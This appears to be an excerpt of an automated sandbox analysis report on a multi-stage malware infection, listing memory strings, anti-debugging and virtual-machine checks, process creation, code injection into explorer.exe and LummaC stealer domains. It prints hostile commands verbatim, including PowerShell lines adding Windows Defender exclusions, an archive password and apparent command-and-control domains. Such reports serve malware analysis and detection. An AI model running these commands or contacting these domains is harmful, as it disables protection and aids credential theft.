Source: kf5cl0F.exe, 00000006.00000002.2867948364.0000000006500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\ft Ch
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: explorer.exe, 00000031.00000002.3190515913.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: skotes.exe, 00000005.00000002.3352179189.0000000001237000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3352179189.000000000120D000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, ANEDNjf.exe, 0000000D.00000003.3013477389.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3015246344.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3014997349.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054152585.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3031777892.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072818160.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3033029849.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905728605.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167457558.0000000000FD2000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: &VBoxService.exe
Source: kf5cl0F.exe, 00000006.00000002.2867948364.000000000651B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\_
Source: d274ed0757.exe, 0000002F.00000002.3256651118.00000000012F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: PING.EXE, 0000002A.00000002.3020404341.0000026E44B19000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllnn:
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905728605.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Zcnv/ng2dKQ1azrn/5tTENpz2WUUqgu+/Klwq2h0Xb71TEtr/XM0puWKv2eLbkFQ+nI5BUQri3pYbIB5DAGtCsDZn/8ZEvSglGpa48/+RuTed2zgYW/u63xMAKr4dFsOFcmv/nkW4EXBfo4Dv8tjAeoy7ca3/9jqubyF+01xui4VyH/+foaUIdB/jgM/ijfl2KY9tNAfb8i5jLRLLGHvSkEYSu8oIbCUAH/uMo6OR4XbNtwwcP7ri5yoEa65xIsfhM2qDxyGkcEU65oHj85G5d8i6JR0etqqvN53SZzAv3rAyOuLORZ0peVrPXeOinIB75JYpYTe6D5srBCuGHPvC9EoO+vMciB10Hps4z+LE1DbMqlxUP7rro0osE+cMMovdM2uTqgn5aAwml93j45G5P+22JFRnu+6uYy0y60R6lkSKksq/XGwlAB6ugeOHkbiT1IZZFR7y/uZuRBrHWEO7vUsizssEvGFIH+qZ0/7c4FqMq22oP7qTo0plpq9UT6a4fnrSy3ThHfRv76ArttSdd+22dFRn88uiOyArhl0+5+k/f7+3OZxMRAKu2aqDkJF3tbdxCUKmsuprUTrLJGqXvUsiw/4kQShkH7Ok+puR4Xf0/mERQ5vzmypFEvsEY5b9UyPH/mT8aVg7m/nCu6nZVuiqNVk6traHCmQT5jx3puR2FtLOZ
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-1
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2105862808.0000000000C31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: file.exe, 00000000.00000003.2105862808.0000000000C31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}["
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2105862808.0000000000C31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:T#
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: file.exe, skotes.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: explorer.exe, 00000031.00000002.3190515913.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW7
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: explorer.exe, 00000026.00000002.2989752877.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: kf5cl0F.exe, 00000006.00000002.2856767841.0000000000C12000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 00000027.00000002.3014548827.0000023A9C8C9000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 00000034.00000002.3348143356.0000022FA81A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Sibuia.exe, 0000002C.00000003.3098779743.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Sibuia.exe, 0000002C.00000002.3100133048.000000000084A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167457558.0000000000FD2000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VBoxService.exe
Source: kf5cl0F.exe, 00000006.00000002.2867948364.0000000006500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167457558.000000000111C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3033029849.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IB75JYpYTe6D5srBCuGHPvC9EoO+vMciB10Hps4z
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167457558.000000000111C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167457558.0000000000FD2000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VMWare
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167457558.000000000111C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: file.exe, skotes.exe.0.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965530450.0000000003B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Thread information set: HideFromDebugger
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Thread information set: HideFromDebugger
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Process queried: DebugPort
Source: C:\Windows\explorer.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Process queried: DebugPort
Source: C:\Windows\explorer.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04AD026A rdtsc

0_2_04AD026A

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002F652B mov eax, dword ptr fs:[00000030h]	0_2_002F652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002FA302 mov eax, dword ptr fs:[00000030h]	0_2_002FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001AA302 mov eax, dword ptr fs:[00000030h]	2_2_001AA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001A652B mov eax, dword ptr fs:[00000030h]	2_2_001A652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_001AA302 mov eax, dword ptr fs:[00000030h]	5_2_001AA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_001A652B mov eax, dword ptr fs:[00000030h]	5_2_001A652B

Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\gomtbo"
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\gomtbo"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6376 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6376 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6376 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6376 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6376 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6376 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6376 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6376 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6376 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6376 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6376 base: F62010 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5848 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5848 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5848 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5848 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5848 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5848 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5848 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5848 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5848 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5848 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5848 base: 97A010 value: 00

LummaC encrypted strings found

Source: ANEDNjf.exe	String found in binary or memory: rapeflowwj.lat
Source: ANEDNjf.exe	String found in binary or memory: crosshuaht.lat
Source: ANEDNjf.exe	String found in binary or memory: sustainskelet.lat
Source: ANEDNjf.exe	String found in binary or memory: aspecteirs.lat
Source: ANEDNjf.exe	String found in binary or memory: energyaffai.lat
Source: ANEDNjf.exe	String found in binary or memory: necklacebudi.lat
Source: ANEDNjf.exe	String found in binary or memory: discokeyus.lat
Source: ANEDNjf.exe	String found in binary or memory: grannyejh.lat
Source: ANEDNjf.exe	String found in binary or memory: treehoneyi.click
Source: d274ed0757.exe, 0000002F.00000003.3170672060.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cheapptaxysu.click

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Thread register set: target process: 6376
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Thread register set: target process: 5848

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe "C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe "C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe "C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe "C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe "C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\gomtbo"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe "C:\gomtbo\01b80870ed45442fb720b666633425f9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Process created: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe TRUE 111 0
